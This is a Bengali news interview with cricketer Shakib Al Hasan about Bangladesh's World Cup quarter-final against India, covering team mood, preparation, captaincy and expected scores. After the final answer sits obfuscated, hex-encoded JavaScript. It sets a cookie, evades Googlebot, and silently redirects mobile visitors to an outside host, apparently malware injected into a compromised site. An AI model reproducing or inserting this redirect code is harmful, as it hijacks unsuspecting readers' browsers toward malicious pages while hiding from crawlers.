‘ভালো খেলছি বলেই প্রত্যাশা বেড়েছে’

sakib
এম.আলি, মেলবোর্ন থেকে :  লক্ষ্য ছিল কোয়ার্টার ফাইনাল। বিশ্বকাপে দারুনভাবেই সে লক্ষ্যে পৌছেছে বাংলাদেশ। সেমিফাইনালে ওঠার বাধা এখন ভারত। বিশ্বকাপের বর্তমান চ্যাম্পিয়ন। এ আসরেও দুর্দান্ত ক্রিকেট খেলছে ধোনীরা। সব বাঘা বাঘা দলই নকআউট পর্বে ভারতে এড়াতে চাইবে। এমন একটি দলের সামনে পড়ে কি বাংলাদেশের প্রত্যাশায় লাগাম পড়েছে? বাংলাদেশ এ পর্যন্ত যে ক্রিকেট খেলেছে তাতে দেশের মানুষের প্রত্যাশা আরও বেড়েছে। বাংলাদেশ দলের অলরাউন্ডার সাকিব আল হাসান দেশের মানুষের প্রত্যাশার বাড়ার কারণ হিসেবে দেখছেন তাদের ভালো খেলাটাকে। আজ (মঙ্গলবার) মেলবোর্ন ক্রিকেট গ্রাউন্ডে অনুশীলন শেষে গণমাধ্যমের সামনে এসেছিলেন বিশ্বের অন্যতম সেরা এ অলরাউন্ডার। ভারতের বিপক্ষে কোয়ার্টার ফাইনাল নিয়ে দীর্ঘ সময় কথা বলেছেন তিনি। তার চৌম্বক অংশ তুলে ধরা হলো

প্রশ্ন: কোয়ার্টার ফাইনালে ওঠার পর দেশের মানুষের প্রত্যাশা বেড়েছে। মানুষের এ প্রত্যাশা নিয়ে কি ভাবছেন?
সাকিব : মানুষের প্রত্যাশা সব সময় বেশিই থাকে। ভালো খেললে কিছু প্রত্যাশা থাকবেই। আমরা ভালো খেলছি বলেই কিন্তু দেশের মানুষ আরও প্রত্যাশা করছে। তবে আমাদের ম্যাচের ওপর মনযোগ রাখতে হবে। আমরা ঠিক তাই করছি। কিভাবে ভালো খেলতে পারি সেটাই মুখ্য বিষয়। আমরা যদি সেটা করতে পারি তাহলে রেজাল্ট এমনিতেই আসবে। ভালো খেলে জিতি বা হারি তাতে কিছু আসে যায় না। এবং আমরা সেটাই করতে চাই।

প্রশ্ন:  এমন একটা গুরুত্বপূর্ণ ম্যাচের আগে দলের মুড কেমন?
সাকিব : মুড ভালো। যে ম্যাচটা আমরা খেলব সেটার দিকে সবার মনযোগ। প্রত্যেকেই উজ্জীবিত। সম্ভাব্য সবচেয়ে ভালোভাবে প্রস্তুত হচ্ছি যাতে আমাদের সামর্থ্য অনুযায়ী খেলতে পারি।

প্রশ্ন: সিনিয়র খেলোয়াড় হিসেবে আপনার ভূমিকা কি হবে?
সাকিব : মাঠে এবং মাঠের বাইরে ভূমিকা থাকবে। প্রথমে আমাকে ভালো খেলতে হবে। ব্যাট-বলে অবদান রাখতে হবে। সিনিয়র খেলোয়াড় এবং সহ-অধিনায়ক হিসেবে লিডারশিপ রোল প্লে করতে হবে। আমার সেটা করার সামর্থ্য আছে। যে কোন দলের বিপক্ষে যে কোন ইস্যুতে অধিনায়কের সাথে আলোচনা করি। কিছু তরুণ খেলোয়াড় আছে তাদের উদ্ধুদ্ধ করতে হয়। যারা সিনিয়র খেলোয়াড় আছে তাদের কিছু তথ্য দিয়ে সাহয্য করা যেতে পারে। যেটা তাদের ভালো খেলতে সাহায্য করবে।

প্রশ্ন: প্রস্তুতি কেমন আপনাদের?
সাকিব : আমার মনে হয় এবার আমরা ভালো প্রস্তুতি নিয়েছি। গুরুত্বপূর্ণ হচ্ছে প্রথম গেমটা আমরা জিতেছি। যেটা আমাদের এগিয়ে চলতে সাহায্য করেছে। পেছন ফিরে তাকাতে হয়নি আর। গত বিশ্বকাপের ২-৩ জন পারফরমার আছে। এবার অনেকেই ভালো করছে। বাংলাদেশের ক্রিকেটের জন্য এটা ভালো যে, দলে অনেকেই অবদান রাখছে।

প্রশ্ন: এমসিজি বড় মাঠ। এখানে ভারতের বিপক্ষে খেলা কতটা কঠিন?
সাকিব : আমরা একটা ম্যাচ খেলেছি। আমরা জানি এখানে কি করতে হবে। বিশেষ করে এ ধরনের বড় মাঠে ফিল্ডিং সাজানো ব্যাপারটা মূল ভূমিকার রাখবে। আমাদের ফিল্ডাররা বাউন্ডারি সেভ করতে পারে। সবাই অনেক ম্যাচ খেলেছে, তারা জানে কি করতে হবে।

প্রশ্ন: মাশরাফির অধিনায়কত্ব কেমন হচ্ছে?
সাকিব : মাশরাফি সব সময় খেলোয়াড়দের সঙ্গে কথা বলে এবং তাদের উজ্জীবিত করার চেষ্টা করে। প্রত্যেকের সঙ্গে বন্ধুসুলভ সম্পর্ক তার। খেলোয়াড়রা তার কাছে আসে এবং স্বচ্ছন্দ বোধ করে। কোন রকম জড়তা ছাড়াই সমস্যা নিয়ে আলোচনা করতে পারে। যেটা খুবই ভালো দিক।

প্রশ্ন:  ২০০৭ সালে ভারততে হারানোর সে স্মৃতিতো সামনে ভাসছে তাই না?
সাকিব : অবশ্যই সেটা একটা স্মৃতি। তবে এটা নতুন একটা গেম। ভারত ভালো দল, তাদের বিশ্বমানের খেলোয়াড় আছে। নিঃসন্দেহে আমাদের জন্য এটা কঠিন হবে। আমরা সেটা জানি এবং চ্যালেঞ্জ নেয়ার জন্য প্রস্তুত হচ্ছি। আমরা যদি সামর্থ্য অনুযায়ী খেলতে পারি তাহলে যে কোন কিছু হতে পারে। এটা একটা মাত্র গেম।

প্রশ্ন: মাশরাফি, রুবেল এবং তাসকিন সেরা পেসবোলিং আক্রমন। তারা কিভাবে ভিন্ন ভিন্ন রোল প্লে করবে?
সাকিব : প্রত্যেককেই নিজ নিজ অবস্থান থেকে দলের জন্য ভ’মিকা রাখতে হবে। যে ১১ জন থাকবে, সবারই ভূমিকা থাকবে। প্রত্যেক বোলার এবং ব্যাটসম্যানকে ভিন্ন ভিন্ন দায়িত্ব পালন করতে হবে। তারা এ ব্যাপারে সচেতন এবং তারা সেটা পালন করতে প্রস্তুত।

প্রশ্ন: চার বছর আগে ভারত খেলেছে এবং জিতেছে। এবার তারা বলছে বাংলাদেশকে হালকাভাবে নিচ্ছে না?
সাকিব : আমার মনে হয় না, বিশ্বকাপে কোন দল প্রতিপক্ষকে হালকাভাবে নেয়। কোয়ার্টার ফাইনাল একটা ম্যাচ, কোন দলই হালকাভাবে নেবে না। আমি আগেও বলেছি, ভারত ভালো দল। তারা বিশ্ব চ্যাম্পিয়ন এবং তাদের বিশ্বমানের খেলোয়াড় আছে। আমরা এ বিশ্বকাপে ভালো খেলছি। আমাদের আত্মবিশ্বাস উঁচুতে, খেলার জন্য মুখিয়ে আছি।

প্রশ্ন: বাংলাদেশের প্রথম কোয়ার্টার ফাইনাল। নিশ্চয়ই এ ম্যাচের আলাদা গুরুত্ব আছে?
সাকিব : প্রথমবারের মতো আমরা কোয়ার্টার ফাইনাল খেলছি। এটা ঠিক। কিন্তু এটাও বলবো- এটা ক্রিকেটের একটা ম্যাচ মাত্র।

প্রশ্ন: ভারত দলের বোলিং এবং ব্যাটিং নিয়ে ধারণা আছে। এতে আইপিএলে খেলার অভিজ্ঞতা ডশ সাহায্য করেছে?
সাকিব : আমরা অল্প ধারণা রয়েছে। আমি কলকাতার হয়ে আইপিএল ম্যাচ খেলেছি। ৮০ হাজারের মতো দর্শক মাঠে থাকে। প্রত্যেক খেলায় গ্যালারি পূর্ণ থাকে। আমি জানি এ মাঠে কি হতে পারে।

প্রশ্ন: বাংলাদেশের জেতার সম্ভবনা কতটুকু?
সাকিব : এটা ওই দিনের ওপর নির্ভর করে। আমাদের ভালো শুরু করতে হবে। সেটা করতে পারলে যে কোন কিছু হতে পারে। কাগজ-কলমে ভারত অবশ্যই ফেভারিট। এটা নিয়ে কোন সন্দেহও নেই। একটা মাত্র গেম, আমাদের ভালো দিন গেলে এবং তারা খারাপ খেললে জেতা সম্ভব।

প্রশ্ন: ভারতের অধিনায়ক ধোনি প্রসঙ্গে কিছু বলবেন?
সাকিব : ধোনি এমন একজন অধিনায়ক যে তেমন ভয় করে না। খুব স্বাভাবিক থাকে। যেটা তাদের মূল বিষয়।

প্রশ্ন: বাংলাদেশের ১০০, দেড়শতম ম্যাচ ভারতকে হারিয়েছেন। ৩০০তম ম্যাচও স্মরণীয় করে রাখার পরিকল্পনা থাকবে নিশ্চয়ই?
সাকিব : সত্যি কথা বলতে এটা আমাদের জন্য অনেক বড় উপলক্ষ্য। এটার জন্য অন্য কোন মটিভেশনের দরকার আছে বলে মনে হয় না। সবাই সেটা জানে এবং সেভাবে প্রস্তুত হচ্ছে। তবে সব কিছুই আমাদের মাথায় আছে। মেলবোর্নে যে ম্যাচটা খেলব ওটা নতুন একটা দিন। প্রথম বল থেকে নতুনভাবে শুরু করতে হবে। ওই দিনটা কত ভালো ভাবে শুরু করতে পারি সেটা আমাদের কাছে বেশি গুরুত্বপূর্ণ।

প্রশ্ন: ভারতের কোন ব্যাটসম্যানের উইকেট প্রথমে নিতে পারলে ভালো হয়?
সাকিব : সত্যি বলতে ওদের ব্যাটিং লাইনের প্রথম ছয়জন বিশ্বমানের। ছয়টা উইকেটই গুরুত্বপূর্ণ, যে কেউ ম্যাচ ঘুরিয়ে দিতে পারে, সেটা আমরা জানি। আমাদের চেষ্টা থাকবে ওরা যেন বড় কোন জুটি না করে।

প্রশ্ন: বাংলাদেশ প্রথমে ব্যাট করলে কত রান করলে মনে হবে সেটা বোলাররা আটকে রাখতে পারবে?
সাকিব : বলাটা আসলে মুশকিল। খেলা শুরুর পর পিচ বিশ্লেষণ করে বলা যাবে। কারণ এর আগে যে কয়টা ম্যাচ হয়েছে এখানে সবাই ৩০০ বা ৩০০ প্লাস স্কোর ছিল। খুবই ভালো ব্যাটিং উইকেট। আমার কাছে মনে হয় ২৮০, ৩০০ বা ৩২০ টার্গেট হতে পারে।

প্রশ্ন: আপনারা যত ভালো খেলছেন, তত বেশি আপনার দেশে প্রত্যাশা বাড়ছে। এটার সঙ্গে মানিয়ে নেয়া কতটা কঠিন?
সাকিব : আমার কাছে মনে হয়, আমরা যখন কোন একটা টুর্নামেন্ট খেলি বা কোন সিরিজ খেলি বা এ ধরনের বড় টুর্নামেন্টের ভেতরে থাকি তখন আমরা বাইরের জিনিসগুলোতে ফোকাস কম করার চেষ্টা করি। বাইরের জিনিসগুলো দেখার চেষ্টা কম করি। বাইরে কি হচ্ছে আমরা সেটা জানতে পারি না। আমার কাছে মনে হয় না খেলোয়াড়রা এটাকে নেতিবাচক হিসেবে নেবে। সবাইকে উজ্জীবিতই করবে। হ্যা আমরা ভালো করছি এ কারণে প্রত্যাশা আরও বাড়ছে।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}